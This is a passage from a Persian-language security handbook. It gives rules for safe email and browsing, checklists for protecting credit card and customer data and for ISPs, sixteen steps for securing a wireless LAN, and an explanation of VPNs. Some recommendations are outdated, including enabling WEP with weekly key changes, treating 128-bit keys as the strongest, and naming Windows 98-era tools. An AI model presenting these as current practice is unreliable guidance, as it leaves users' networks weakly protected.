قاعدهٔ ۵. برنامهٔ پست الکترونیکی خود را بگونه‌ای پیکربندی کنید که *ضمیمه‌ها*[۱۹۶] را بصورت خودکار باز نکند.

قاعدهٔ ۶. قبل از باز کردن هر نوع ضمیمهٔ نامهٔ الکترونیکی، به نام آن دقت کنید تا مطمئن شوید که یک برنامهٔ اجرایی نیست.

196 *Attachment*

بخش سوم

قاعدهٔ ۷. به هیچوجه ضمیمه‌ای را که از یک غریبه دریافت کرده‌اید باز نکنید، مگر اینکه مطمئن باشید فایل مربوطه نمی‌تواند حاوی قطعه‌برنامهٔ مخرب باشد.

قاعدهٔ ۸. از گشودن ضمیمه‌ای که از طرف یک فرد آشنا و مطمئن فرستاده شده هم پرهیز کنید، مگر آنکه مطمئن باشید که آگاهانه ارسال شده است.

قاعدهٔ ۹. برنامهٔ پست الکترونیکی خود را طوری تنظیم کنید که *قطعه‌برنامه‌های تفننی HTML*[۱۹۷] را پردازش نکند و برای دیگران هم ارسال ننماید.

قاعدهٔ ۱۰. از ISP خود بپرسید که آیا نامه‌های الکترونیکی را پیش از تحویل به شما از نظر ویروس و یا تهدیدهای مشابه بررسی می‌کند یا نه.

قاعدهٔ ۱۱. به پایگاه‌های وب امکان download و اجرای برنامه‌هایی که ممکن است مشکلساز باشند را ندهید، مگر اینکه مطمئن باشید پایگاه مربوطه قابل اعتماد است.

قاعدهٔ ۱۲. نمایش آدرس پایگاه وبی که مرور می‌کنید و آدرسی که درحال اتصال به آن هستید را فعال کنید. همچنین هنگام مرور پایگاههای ناآشنا بسیار مراقب باشید، خصوصاً اگر به آنها اجازهٔ اجرای برنامه روی رایانهٔ خود را می‌دهید.

قاعدهٔ ۱۳. بررسی کنید که cookieها تحت چه شرایطی در رایانهٔ شما ذخیره می‌شوند. اگر قادر به کنترل آنها نیستید (مثل زمانیکه از رایانه‌ای در اماکن عمومی استفاده می‌کنید)، مراقب باشید که اطلاعات خصوصی خود را وارد سیستم نکنید.

قاعدهٔ ۱۴. چنانچه هرگونه اطلاعات خصوصی و محرمانه‌ای روی صفحهٔ وب به نمایش در آمد، پس از اتمام کار، *حافظهٔ نهان*[۱۹۸] را پاک کنید. اگر قادر به اینکار نیستید (مثل زمانیکه از رایانه‌ای در اماکن عمومی استفاده می‌کنید) شاید بهتر باشد از انجام کار خصوصی خود روی آن رایانه‌ها بپرهیزید.

قاعدهٔ ۱۵. اگر از *اشتراک فایل*[۱۹۹] استفاده نمی‌کنید، آنرا غیرفعال کنید. اگر از اشتراک فایل استفاده می‌کنید، نامهای کاربری و رمزهای عبور مستحکم برگزینید و مجوزهای دسترسی را تا حداقل ممکن که همچنان امکان انجام کار مورد نظر را به شما می‌دهد محدود نمایید.

قاعدهٔ ۱۶. اگر با کاربران دیگری فایل به اشتراک گذاشته‌اید، اطمینان حاصل کنید که آنها نیز نکات امنیتی را جدی می‌گیرند.

قاعدهٔ ۱۷. پیامهای فوری می‌توانند بسیار کارآمد و مفید باشند، ولی آنها را با مراقبت و آگاهی مورد استفاده قرار دهید.

قاعدهٔ ۱۸. برای انجام کارهایی که به دسترسی راهبری نیازی ندارند – مثل مرور پایگاههای وب – حتی در رایانه‌های تک‌کاربره نیز به هیچوجه از حساب کاربری راهبر استفاده نکنید.

قاعدهٔ ۱۹. تمام خدمات اینترنتی که مورد نیاز نیستند یا کاربرد زیادی ندارند را غیرفعال کنید.

قاعدهٔ ۲۰. هر رایانه‌ای که نسبت به ویروس آسیب‌پذیر است را به نرم‌افزار ضدویروس مجهز کنید و برای دریافت نشانهای جدید ویروس نیز بصورت روزانه آنرا به‌روز نمایید. همچنین باید بصورت دوره‌ای تمام فایلهای دستگاه را از نظر وجود ویروس، بررسی کنید.

قاعدهٔ ۲۱. حتی در مورد رایانه‌هایی که بطور خاص تحت تهاجم ویروسها قرار ندارند – مثل سیستمهای مبتنی بر یونیکس – نیز باید اطمینان حاصل شود نامه‌هایی که از آنها به رایانه‌های دیگر فرستاده می‌شوند آلوده به ویروس نمی‌باشند و برای گیرنده خطری در بر ندارند.

قاعدهٔ ۲۲. تمام رایانه‌ها باید با یکی از انواع دیواره‌های آتش مورد محافظت قرار داشته باشند، چه بصورت نرم‌افزاری روی همان رایانه و چه بصورت یک

197 HTML Fancy Scripts
198 Cache
199 File Sharing

دیوارهٔ آتش جداگانه برای محافظت از تمام رایانه‌های موجود در یک شبکه.

قاعدهٔ ۲۳. اگر برای کنترل یک رایانه از ابزار دسترسی از راه دور استفاده می‌کنید، مطمئن شوید که از امنیت مستحکمی برخوردار است (در حالت حداقلی، شناسهٔ کاربری و رمز عبورِ مناسب) تا مبادا مهاجمان نیز از ابزارهای مشابه برای دسترسی به سیستم استفاده کنند.

قاعدهٔ ۲۴. ثبت گزارشات برای عملکردها و کاربردهای سیستم باید بصورت منطقی فعال باشد. این گزارشات را طبق یک روال مشخص مورد بررسی قرار دهید.

قاعدهٔ ۲۵. هر از چندگاه تدابیر امنیتی خود را با روشها و آزمونهای مختلف مورد بازبینی قرار دهید تا بتوانید اشکالات احتمالی را پیش از وقوع سانحه رفع کنید.

فهرست شرکتهای استفاده‌کننده از تراکنشهای کارتهای اعتباری

الف) اگر رایانهٔ شما متصل به شبکه نیست

- رایانه‌های شرکت باید در محلی نگهداری شوند که از نظر فیزیکی ایمن باشد.
- برای باز کردن قفل رایانه باید از رمز عبور مستحکمی استفاده شده باشد و حداقلِ افراد ممکن باید آنرا بدانند.
- دسترسی فیزیکی فرد را قادر می‌کند که بتواند رمزهای عبور را به سرقت ببرد؛ بنابراین امنیت فیزیکی بسیار مهم است. اگر به رایانه دسترسی فیزیکی داشته باشید می‌توانید آنرا با یک دیسک فلاپی یا دیسک فشرده راه‌اندازی مجدد کنید و بدینوسیله تمام سدهای امنیتی سیستم‌عامل و برنامه‌های کاربردی (بجز رمزنگاری) را دور بزنید.
- جهت محدود کردن دسترسی به داده‌ها باید در سطح فایلها از مکانیزمهای امنیتی استفاده شود. تنها اشخاصی که قرار است با داده‌ها کار کنند باید به آنها دسترسی داشته باشند (این مسئله برای ماشینهای Windows به این معنی است که باید از سیستم فایل NTFS استفاده نمایید)
- وصله‌های امنیتی به‌روز را روی سیستم‌عاملها، پایگاههای داده، و تمام نرم‌افزارهای کاربردی اعمال کنید. دقت داشته باشید که امن کردن نگارشهای جدید سیستم‌عاملها آسانتر از نگارشهای قدیمی‌تر است.
- در سیستمهای خود از نرم‌افزارهای ضدویروس و مهاجم‌یاب استفاده کنید.
- برای رمزگذاریِ فایلهای داده‌ایِ کارتهای اعتباری باید از الگوریتمهای پیشرفتهٔ رمزنگاری استفاده شود.
- باید مراقب بود که *فایلهای موقتی*[۲۰۰] شامل اطلاعات رمزنشده نباشند. درصورتیکه نیازی به آنها نباشد نه‌تنها باید از روی سیستم پاک شوند، بلکه باید آنها را طوری حذف کرد که دیگر قابل بازیابی هم نباشند.
- تمام دسترسیها به فایلهای حساس باید در فایلهای گزارش ثبت شوند، و این گزارشات باید در فواصل زمانی معین تحت بررسی قرار گیرند تا مشکلات یا خطاهای بالقوه آشکار گردند. این گزارشها باید در دو فایل ثبتها نوشته شوند و از نسخهٔ دوم باید در جایی غیر از رایانه‌ای که برنامهٔ کاربردی روی آن اجرا می‌شود نگهداری کرد.
- همواره گروههای پست الکترونیکیِ هشدارهای امنیتی را بررسی کنید تا اگر نقطه‌ضعفی گزارش شده بود که احیاناً مربوط به سیستم شما می‌شد، سریعاً از آن مطلع شوید.
- درصورت وقوع حمله، تمام احتیاطهای ممکن برای کاهش مخاطره را مد نظر قرار دهید.

200 *Temporary Files*

- اطمینان حاصل کنید که تمامی کارمندان – مخصوصاً مدیران ارشد – باور دارند که امنیت برای سازمان بسیار اهمیت دارد.
- اگر اطلاعاتی مثل داده‌های کارت اعتباری و دیگر داده‌های مالی را از روی دیسک سخت حذف می‌کنید، مطمئن شوید که آن داده دیگر به هیچوجه قابل بازیابی نخواهد بود. این فرآیند فراتر از پاک کردن سادهٔ فایلها است. چنانچه نمی‌دانید که داده‌ها را چطور بصورت کامل از بین ببرید، برای انجام اینکار از افراد متخصص کمک بگیرید.
- در فواصل منظم زمانی نسخهٔ پشتیبان تهیه کنید و از ایمنی نسخه‌هایی که حاوی اطلاعات کارت اعتباری هستند کسب اطمینان کنید.
- با انتشار یک "سیاست حریم خصوصی" به کاربران اعلام کنید چه داده‌هایی را ذخیره و از آن برای چه منظوری استفاده می‌نمایید، و چگونه آنرا مورد محافظت قرار می‌دهید (می‌توانید چگونگی حفاظت را بصورت غیرمستقیم و مبهم توضیح دهید).
- اگر برای برداشت از کارتهای اعتباری، اعتبار آنها را بصورت برخط ارزیابی می‌کنید اطمینان حاصل کنید که خط ارتباطیِ مورد استفاده از امنیت لازم برخوردار است. اگر از یک مودم استفاده می‌نمایید، مطمئن شوین که امکان برقراری تماس از بیرون وجود ندارد.
- اگر سوابقی شامل داده‌های کارت اعتباری را به چاپ می‌رسانید، از لحاظ فیزیکی نیز باید امنیت آنها را تأمین کنید و بلافاصله پس از اینکه دیگر مورد نیاز نبودند آنها را با دستگاه کاغذخردکن از بین ببرید.
- از منابع معتبر، چند کتاب به‌روز در زمینهٔ امنیت تجارت الکترونیکی بخرید، آنها را مورد مطالعه قرار دهید، و توصیه‌هایشان را دنبال کنید. انتشارات *اوریلی و شرکا*[۲۰۱]، *جان وایلی و پسران*[۲۰۲]، و *مک گروهیل*[۲۰۳] کتابهای خوبی در باب امنیت فناوری اطلاعات منتشر کرده‌اند. قیمت این کتابها بسته به محل زندگی شما ممکن است متفاوت باشد، اما به هر حال خرید و استفادهٔ مؤثر از آنها سرمایه‌گذاری بسیار مفیدی به حساب می‌آید.

ب) اگر لازم است که رایانه از شبکهٔ داخلی قابل دسترس باشد:

- تمام نکاتی که در مورد قبلی گفته شد، بعلاوهٔ نکات زیر:
- یک دیوارهٔ آتش نصب کنید تا مطمئن شوید تنها کاربران و تراکنشهای مجاز می‌توانند به رایانه دسترسی داشته باشند و از دسترسی عمومی به آن جلوگیری خواهد شد.
- وصله‌های امنیتی به‌روز را روی تمام تجهیزات شبکه (مسیریابها، دیواره‌های آتش، سوئیچها، و ...) نصب کنید.
- برای کلیهٔ پیامهای مربوط به کارت اعتباری که روی خط منتقل می‌شوند از رمزگذاری استفاده کنید.
- همهٔ خدمات شبکه‌ای غیرضروری (مثل سرویس‌دهندهٔ Web، *فراخوانی تابع از راه دور*[۲۰۴]، و *پروتکل انتقال فایل*[۲۰۵]) را غیرفعال کنید.

ج) اگر اطلاعات کارت اعتباری از طریق شبکهٔ جهانی وب قابل دسترسی است:

- تمام نکاتی که در مورد قبلی گفته شد، بعلاوهٔ نکات زیر:
- اطلاعات مربوط به کارت اعتباری را در رایانه‌هایی که از طریق اینترنت قابل دسترسی هستند قرار ندهید. داده‌ها را روی دستگاهی دیگر و پشت دیوارهٔ آتش قرار دهید و برای

201 O'Reilly & Associates

202 John Wiley and Sons
203 Osborne / McGraw-Hill
204 Remote Procedure Call (RPC)
205 File Transfer Protocol (FTP)

دسترسی به آن از فراخوانی تابع از راه دور یا سایر روشهای ارتباطی به همراه یک سیستم غربال‌ساز خوب در سطح دیوارهٔ آتش استفاده کنید.

- تمام تراکنشهای روی شبکه را با استفاده از قویترین الگوریتمهای موجود (درصورت امکان با کلید ۱۲۸ بیتی) رمزگذاری نمایید.
- اطمینان حاصل کنید که اطلاعات کارت اعتباری که موقتاً در سرویس‌دهندهٔ وب ذخیره شده است، بلافاصله پس از اتمام تراکنش پاک می‌شود.

د) اگر اطلاعات کارت اعتباری حتماً باید روی رایانهٔ قابل دسترسی از اینترنت قرار بگیرد:

- تمامی موارد بالا را اعمال کنید، اما با هوشیاری بیشتری نسبت به مخاطرات امنیتی. آن رایانه، تراکنشهای آن، و گزارشهای فعالیتها باید به دقت تحت نظارت دائمی باشند.

فهرست کنترل
حفاظت از داده‌های مشتری در پایگاه وب

در اینجا یک روش ساده اما قابل اجرا ذکر شده که آنرا به پایگاههای وبی که به حریم خصوصی افراد اهمیت می‌دهند پیشنهاد می‌کنیم. در صفحهٔ اول پایگاه وب خود در مورد سیاستهایتان در قبال حریم خصوصی به افراد توضیح دهید، و اگر نقطهٔ ابهامی در مورد سیاستهایتان وجود دارد اجازه دهید شرکتتان توسط ممیزهایی از خارج شرکت مورد بازبینی قرار گیرد.

- جهت استفاده از پایگاه وب، اشخاص را ملزم به ثبت‌نام و ورود اطلاعات اضافی نکنید.
- اگر کاربران علاقه‌مند به دریافت بولتن هستند، اجازه دهید که برای ثبت نام تنها از آدرس پست الکترونیکی خود استفاده کنند.
- بدون اجازهٔ صریح کاربر، آدرس پست الکترونیکی و اطلاعات شخصی کاربران را در اختیار سازمانهای دیگر نگذارید.
- هرگاه نامه‌ای برای افراد ارسال می‌کنید، به آنها توضیح دهید که آدرس پستی آنها را چگونه بدست آورده‌اید و آنها چگونه می‌توانند آدرس خود را از فهرست دریافت‌کنندگان نامه‌های شما حذف کنند.
- فایلهای ثبت خود را در دسترس عموم قرار ندهید و درصورت امکان آنها را رمزگذاری کنید.
- زمانیکه دیگر نیازی به فایلهای ثبت ندارید، آنها را پاک کنید.
- اگر لازم است فایلهای ثبت برای مدت زیادی از طریق اینترنت قابل دسترسی باشند، اطلاعاتی که باعث شناسایی اشخاص می‌شود را از روی آن حذف کنید.
- ناقضان سیاست حریم خصوصی را تأدیب یا اخراج نمایید.

فهرست کنترل ISPها

این فهرست نسبت به آنچه که بسیاری از ISPها استفاده می‌کنند مفصل‌تر است، اما بسیار اهمیت دارد که همهٔ گزینه‌ها مورد بررسی قرار گیرند و تصمیم عاقلانه‌ای دربارهٔ پیاده‌سازی آنها اتخاذ گردد.

- از آنجا که گاهی اطلاعات کارت اعتباری یا سایر اطلاعات مالی مشتری را ذخیره می‌کنید، تمام قوانین ذخیره‌سازی داده‌های اعتباری باید اعمال شوند.
- تأمین امنیت یک فرآیند بی‌ضابطه یا کلیشه‌ای نیست. موضوعات مختلف را درک کنید و برای هریک طرحی کلی بریزید.
- یک سیاست امنیتی تدوین کنید شامل: میزان تعهد شما به محرمانه ماندن اطلاعات حریم خصوصی مشتریان (در مقابل دسترسی کارمندان خود یا سازمانهای دیگر)؛ و روندهای گزارش‌دهی هنگام وقوع یک حملهٔ

- امنیتی (گزارش به عوامل داخلی سازمان، به ISPها، و نیز مقامات مسئول)
- مسئولیتهای قانونی خود را شناسایی کنید (آیا تنها مسئولیت حفظ اطلاعات با شماست، فایلهای ثبت را تا چه مدت باید نگهداری کنید، و ...).
- سیاستهایی تدوین کنید در خصوص چگونگی واکنش به هشدارهای امنیتی، نگرانیهای مشتریان، ISPهای همتا، ارائه‌دهندگان عمدهٔ پهنای باند، و سایر کاربران اینترنت.
- آگاه باشید که ممکن است مشتریان خدمات شما به سیستمهای بیرونی حمله کنند. می‌توانید برای پاسخگویی به گزارشات سایر ISPها مبنی بر دست داشتن مشتریان شما در حملات، یک سیاست تدوین نمایید.
- درصورتیکه در سطح ISP از نرم‌افزارهای ویروس‌یاب استفاده می‌کنید، ممکن است تصمیم بگیرید برای فرستندهٔ نامه‌های آلوده هشدارهایی مبنی بر "عدم انتقال نامه بدلیل آلودگی به ویروس" ارسال کنید.
- یک *سیاست کاربرد مجاز* (AUP)[۲۰۶] تدوین کنید که شامل وظایف متقابل ISP و مشتریان باشد. این سیاست باید در تمام قراردادهای مشتری مورد اشاره قرار گیرد.
- شبکه را بگونه‌ای طراحی کنید که تا حد امکان کاربردی و عملی باشد. سیستمهایی که شبکهٔ شما را کنترل و اداره می‌کنند (از جمله سیستم میزبان حسابهای کاربری) باید بوسیلهٔ دیوارهٔ آتش از اینترنت مجزا شده باشند.
- اطمینان پیدا کنید که برای تمام رایانه‌های بخش مدیریت، بخش خدمات (مثل سرویس‌دهنده‌های پست الکترونیکی، وب، تصدیق هویت، Proxy و DNS) و تمام تجهیزات مسیریابی و کنترلی شبکه از رمزهای عبور مستحکم و قوانین دسترسی محدودشده استفاده می‌کنید.
- اطمینان یابید که همهٔ خدمات غیرضروری (مثل finger، icq، ftp، کامپایلرها و ...) روی دستگاههای قابل اتصال به اینترنت، غیرفعال شده‌اند.
- مطمئن شوید که همهٔ دستگاهها – خصوصاً آنهایی که قابل اتصال به اینترنت هستند – با اعمال وصله‌های امنیتی به‌روز نگهداشته می‌شوند.
- یک سیستم کنترل مداوم شبکه ایجاد کنید تا بتوانید مشکلاتی از قبیل حملات تخریب سرویس و فعالیتهای عمدهٔ ویروسها و هرزنامه‌ها را تشخیص دهید. این نیازمند آن است که قادر باشید الگوهای طبیعی ترافیک شبکهٔ خود را درک کنید.
- برای رایانه‌ها قابلیت کنترل ایجاد کنید تا بهتر بتوانید مهاجمان را تشخیص دهید (ماشینهای میزبان فایلهای ثبت و اطلاعات حسابهای کاربری را فراموش نکنید).
- ویروس‌یاب‌ها را در هر جایی که ورود یا خروج پست الکترونیکی صورت می‌گیرد نصب کنید.
- با تهیه ضدویروسهای رایگان یا ارزان‌قیمت، مشتریان خود را ترغیب کنید که دستگاه خود را ایمن سازند.
- مراقب باشید که سرویس‌دهندهٔ پست الکترونیکی به یک توزیع‌کنندهٔ هرزنامه تبدیل نشود.
- مکانیزمهای کنترل هرزنامه را نصب کنید.
- کلیهٔ دسترسیها به سرویس‌دهنده‌ها و برقراری و قطع اتصال به شبکه را ثبت کنید تا توانایی خود برای جمع‌آوری مدارک قانونی علیه نفوذگران را افزایش داده باشید.
- از روالهای تهیهٔ پشتیبان از اطلاعات خود و کاربران مجموعه‌ای سختگیرانه و همپوشان ایجاد کنید.
- وصله‌های امنیتی را download و از طریق دیسکهای فشرده و یا شبکهٔ توزیع محلی، توزیع کنید. با اینکار علاوه بر اینکه به‌روز بودن و تأمین امنیت را برای مشتریان تسهیل کرده‌اید، پهنای باند مصرفی خود را نیز کاهش داده‌اید.

206 *Acceptable Use Policy*

شانزده گام برای ایمن‌سازی WLAN

امنیت شبکهٔ بی‌سیم بسیار شبیه امنیت فیزیکی درب ورودی یک ساختمان است: هر کسی با انگیزه، بودجه، منابع، و زمان کافی قادر است آنرا خدشه‌دار کند. با شبکهٔ بی‌سیم باید مثل یک شبکهٔ همگانی و قابل دسترس برای عموم رفتار کرد. راهبر سیستم به هیچوجه نباید تصور کند که داده‌های انتقالی شبکهٔ بی‌سیم، خصوصی و امن است. توصیه‌های ایمنی زیر که برگرفته از پیشنهادات و توصیه‌های پیشگامان این صنعت است، نکات ساده‌ای برای ایجاد یک زیرساخت جهت ایمن‌سازی شبکهٔ بی‌سیم ارائه می‌دهد:

۱. یک راهکار در سطح سازمان برای ابزارهای بی‌سیم تهیه کنید. سیاستها و خط‌مشی‌های امنیت سازمان و استفاده از شبکه را طوری تنظیم کنید که با یکدیگر سازگار باشند.

۲. بررسی کنید که چند نفر از کارمندان در منزل از WLAN سازمان استفاده می‌نمایند. این کاربران راه دور باید تحت نظارت باشند تا بتوان نقاط تماس غیرمجاز به شبکه را مسدود کرد.

۳. برای مدیریت حسابهای کاربری، یک فرآیند تهیه کنید تا بتوان بصورت امن آنها را مدیریت کرد.

۴. خدمات غیرضروری را روی تمام سرویس‌دهنده‌ها و سرویس‌گیرنده‌ها غیرفعال کنید. اصولاً کلیهٔ خدمات ناشناخته یا بی‌استفاده باید غیرفعال باشند.

۵. تنظیمات پیش‌فرض محصولات خود را تغییر دهید. بسیاری از راهبران مرتکب این اشتباه می‌شوند که اطلاعات SSID یا آدرس IP نقاط دسترسی را از مقدار اولیهٔ آنها تغییر نمی‌دهند. SSID را طوری تغییر ندهید که نام، بخشها، و محصولات شرکت را مشخص کند. در غیراینصورت از آنجا که SSID بوسیلهٔ نقطهٔ دسترسی اعلان عمومی می‌شود، به محض اینکه نفوذگر کلید WEP را بشکند، براحتی متوجه می‌شود که به شبکهٔ چه کسی دسترسی پیدا کرده است.

۶. رمز عبور پیش‌فرض نقطهٔ دسترسی یا مسیریاب بی‌سیم را تغییر دهید. نفوذگران معمولاً رمزهای عبور پیش‌فرض تولیدکنندگان را می‌دانند و ابتدا آنها را مورد آزمایش قرار می‌دهند.

۷. پوشش شبکهٔ بی‌سیم را حداکثر به اندازهٔ وسعت ساختمان خود تنظیم کنید و نه بیشتر. همینطور که ادارهٔ خود را برای یافتن محلی مناسب جهت استقرار نقطهٔ تماس بررسی می‌کنید، درنظر داشته باشید که محل آنرا در جایی متمایل به مرکز ساختمان برگزینید؛ چراکه اگر آنرا نزدیک پنجره‌ها قرار دهید ممکن است سیگنالهای قویتری به خارج از ساختمان تشعشع یابند و درنتیجه دیگران شبکهٔ شما را آسانتر پیدا کنند.

۸. برای بخشهای بی‌سیم، آنتنهای جهتدار تهیه کنید. بیشتر دستگاههای بی‌سیم از آنتنهای چندجهتی استفاده می‌کنند. چنین آنتنهایی به مهاجم امکان ضبط کلیهٔ ارتباطات را می‌دهند. این درحالی است که آنتنهای جهتدار اگر در فرکانسی حدود ۲،۴ گیگاهرتز یا بالاتر کار کنند، گسترهٔ انتشار سیگنال بسیار کمتر خواهد بود.

۹. WEP را فعال کنید. برای اینکار کلید پیش‌فرض WEP را تغییر دهید و بعد از آن بصورت هفتگی اینکار را تکرار نمایید.[۲۰۷]

۱۰. میان دیوارهٔ آتش و شبکهٔ بی‌سیم، از تونل VPN استفاده کنید. اگرچه این امر مستلزم راه‌اندازی سرویس‌دهنده VPN می‌باشد، اما در طرف دیگر، نرم‌افزار سرویس‌گیرندهٔ VPN در بیشتر سیستم‌عاملها مثل Windows 98 SE، Windows 2000، و Windows XP تعبیه شده است.

۱۱. روی شبکهٔ بی‌سیم، یک سیستم مهاجم‌یاب مبتنی بر شبکه (NIDS)[۲۰۸] تعبیه کنید.[۲۰۹]

۱۲. در سطح سازمان، نرم‌افزارهای ضدویروس را روی تمام سرویس‌گیرنده‌های بی‌سیم نصب کنید.

---

۲۰۷ منبع: NIPC
http://www.nipc.gov/publications/nipcpub/best pract.html

208 Network Based Intrusion Detection System

۲۰۹ منبع: Chris Bateman، تحلیلگر CERT

بخش سوم

۱۳. از مکانیزم *تصدیق هویت دوعاملی*[۲۱۰] استفاده کنید، چراکه درصد زیادی از مخاطرات را کاهش می‌دهد. دو روش برای استفاده از تصدیق هویت دوعاملی وجود دارد. روش اول استفاده از "کارتهای هوشمند مبتنی بر نشانه" است که اطلاعات زیستی افراد را در خود ذخیره می‌کنند.[۲۱۱] روش دوم استفاده از سرویس‌دهنده‌های *RADIUS*[۲۱۲] است که رایانه را برای شبکه تصدیق هویت می‌کنند و ارتباط شما با نقطهٔ تماس را نیز برقرار می‌سازند. کاربر صرفاً بمنظور تصدیق هویت برای سایر سرویس‌دهنده‌ها به سرویس‌دهندهٔ RADIUS متصل می‌شود. در حقیقت در این روش سرویس‌دهنده‌های RADIUS مثل نگهبان یک سالن، عبور و مرور را کنترل می‌کنند.[۲۱۳]

۱۴. از یک دیوارهٔ آتش بی‌سیم بعنوان gateway استفاده کنید.[۲۱۴] این دستگاه مثل یک دیوارهٔ آتش استاندارد از نوع *دومنزلی*[۲۱۵] عمل می‌کند بطوریکه شبکهٔ بی‌سیم در یک طرف و شبکهٔ مورد اعتماد داخلی در طرف دیگر آن قرار دارد. دیوارهٔ آتش از نرم‌افزارهای امنیتی مثل IPSec و سایر مکانیزمهای VPN استفاده می‌کند و تنها پس از تصدیق هویت می‌توان از طریق آنها به شبکهٔ داخلی دسترسی پیدا کرد. برای محدود کردن مقصد ترافیک خارج‌شده از شبکهٔ بی‌سیم می‌توان از قوانین دیوارهٔ آتش استفاده کرد. اطمینان حاصل کنید که دیوارهٔ آتش میان تمام نقاط دسترسی بی‌سیم و شبکهٔ داخلی یا اینترنت وجود دارد.

۱۵. سرویس DHCP را غیرفعال کنید و برای کارتهای شبکهٔ بی‌سیم خود از آدرس IP ثابت استفاده کنید. همچنین محدودهٔ پیش‌فرض آدرس IP شبکهٔ بی‌سیم را از آنچه تولیدکننده تعیین کرده تغییر دهید.

۱۶. تنها نقاط دسترسی قابل ارتقا خریداری کنید. همیشه پیشرفتهایی در امنیت اینگونه ابزارها ایجاد می‌شود، و لذا باید مطمئن باشید که همواره خواهید توانست نقاط دسترسی خود را به‌روز نگهدارید.

اطلاعات دیگری در خصوص VPN

برای محافظت از اطلاعات سیستمهایی که از هریک از فناوریهای مذکور استفاده کنند، باید VPN راه‌اندازی کنید، بطوریکه همهٔ gatewayها قابل اطمینان شبکهٔ داخلی این VPN باشند و هر کاربر هنگام دسترسی به شبکه‌های مورد اطمینان، از این مکانیزم استفاده کند. اساساً VPN یک اتصال خصوصی میان دو دستگاه است که اطلاعات محرمانه را در یک شبکهٔ عمومی و به‌اشتراک گذاشته‌شده مثل اینترنت بصورت امن انتقال می‌دهد. فناوری VPN به سازمان امکان می‌دهد که خدمات شبکهٔ خود را برای کاربران راه دور، واحدها، و شرکتهای همکار بصورت ایمن و از طریق اینترنت در دسترس قرار دهد. به عبارت دیگر VPN اینترنت را به یک شبکهٔ شبیه‌سازی‌شدهٔ خصوصی *WAN*[۲۱۶] تبدیل می‌کند. VPN همچنین به کاربران راه دور این امکان را می‌دهد که بتوانند به سرویس‌دهنده‌های شرکت خود دسترسی داشته باشند.

برای استفاده از اینترنت بعنوان یک شبکهٔ ارتباطی وسیع خصوصی، سازمانها باید بر دو مانع اصلی فائق آیند. اول اینکه شبکه‌ها غالباً با استفاده از پروتکلهای مختلفی ارتباط برقرار می‌کنند، اما VPN راهی برای عبور پروتکلهایی غیر از IP از یک شبکه به شبکهٔ دیگر فراهم می‌سازد. دوم اینکه بسته‌های اطلاعات در اینترنت بصورت متن‌ساده انتقال

---

210 *Two Factor Authentication*

۲۱۱ *Bateman توصیه می‌کند از روشی که او آنرا e-thenticator می‌نامد استفاده کنیم، که در آن یک دستگاه مخصوص، اثر انگشت شست را در یک کارت هوشمند ذخیره می‌کند.*

212 *Remote Authentication Dial-In User Service*

۲۱۳ *RADIUS یا همان "سرویس تلفنی تصدیق هویت راه دور کاربر"، یک سرویس تصدیق هویت است که اطلاعات کاربر را بررسی می‌کند و پس از اینکه اطلاعات را مورد تأیید قرار داد به کاربر اجازهٔ دسترسی به خدمات شبکه را می‌دهد. قسمتی از آنچه RADIUS می‌تواند آنرا فراهم کند، ارتباط رمزگذاری‌شده میان سرویس‌گیرنده-های راه دور و سرویس‌دهندهٔ RADIUS است. شبکه‌های خصوصی مجازی (VPNها) نیز بصورت مشابه کار می‌کنند، اما بجای برقراری ارتباط میان میزبان راه دور و شبکه، میان دو شبکه ارتباط برقرار می‌سازند. پس از اینکه رایانهٔ راه دور تصدیق هویت شد و بوسیلهٔ سرویس‌دهندهٔ RADIUS به شبکهٔ داخلی متصل گشت، بگونه‌ای عمل می‌کند که گویی از نظر فیزیکی در کنار شبکه و متصل به آن است. به عبارت دیگر، رمزگذاری سرویس‌دهندهٔ RADIUS تنها میان آن سرویس‌دهنده و سرویس‌گیرندهٔ آن وجود دارد، و نه در تمام شبکه.*

۲۱۴ *Rick Fleming، قائم مقام رئیس دایرهٔ امنیت شرکت Digital Defense*

215 *Dual Homed*

216 *Wide Area Network*

می‌یابند، و درنتیجه هرکس که بتواند ترافیک اینترنت را ببیند، خواهد توانست اطلاعات موجود در بسته‌ها را نیز بخواند. این یک مشکل بزرگ است، بخصوص اگر مثلاً بانکها بخواهند از اینترنت برای تبادل داده‌های مهم و محرمانهٔ تجاری استفاده کنند. VPN با استفاده از مکانیزمی به نام *تونل*[۲۱۷] بر این مشکلات غلبه می‌کند. در این مکانیزم داده‌ها بجای ارسال‌شدن بصورت عادی، برای امنیت بیشتر ابتدا رمزگذاری می‌شوند، درون یک بستهٔ IP قرار می‌گیرند، و سپس از طریق اینترنت ارسال می‌گردند.

بسیاری از محصولات مثل محصولات Nokia، Cisco، Nortel، Checkpoint، و Microsoft دارای فناوری VPN ایمن و مناسب هستند[۲۱۸] که می‌تواند در نقاط مختلف شبکه قرار گیرد. اگرچه VPN از محتوای داده‌های تبادلی روی شبکه حفاظت می‌کند، اما بسته به اینکه چگونه در شبکه قرار گرفته باشد ممکن است نتواند از دسترسی غیرمجاز از بیرون شبکه جلوگیری نماید. به عبارت دیگر هرچند کاربر غیرمجاز بخاطر وجود VPN نمی‌تواند محتوای داده‌ها را ببیند، اما ممکن است همچنان بتواند به منابع شبکه دسترسی پیدا کند و پهنای باند را بگونه‌ای تغییر دهد که ظرفیت شبکه سرریز شود و علیه کاربران مجاز حملهٔ تخریب سرویس انجام گیرد. کنترل دسترسی، تصدیق هویت و رمزگذاری از عناصر حیاتی یک اتصال امن هستند. از *پروتکل نقطه به نقطه* (PPP)[۲۱۹] برای مدت مدیدی بعنوان پروتکل جهانی *لایهٔ اتصال*[۲۲۰] جهت ایجاد تونل میان ابزارها در اینترنت استفاده می‌شد؛ اما در سالهای اخیر *پروتکل تونل نقطه به نقطه* (PPTP)[۲۲۱] و *پروتکل تونل لایهٔ دو* (L2TP)[۲۲۲] برای اینکار ترجیح داده شده‌اند.[۲۲۳]

---

217 *Tunneling*

۲۱۸ *درحال حاضر IETF درحال اصلاح استانداردهای VPN است تا IPSec را ایمن‌تر و نیز با ارتباطات ماهواره‌ای سازگار کند.*

219 *Point-to-Point Protocol*

220 *Link Layer*

221 *Point-to-Point Tunneling*

222 *Layer 2 Tunneling Protocol*

۲۲۳ *مقالهٔ Karen Bannas با عنوان "Safe Passage" در مجلهٔ PC Magazine، هفت شرکت ارائه‌دهندهٔ VPN را برای محصولات مناسب جهت کاربرد در شرکتهای متوسط با بودجه‌ای حدود ده هزار دلار که به VPN برای ارتباط میان دفتر مرکزی و شعبه‌ها نیاز دارند مورد بررسی قرار می‌دهد:*
http://www.pcmag.com/print_article/0,3048,a%3D12352,00.asp

فصل سیزدهم
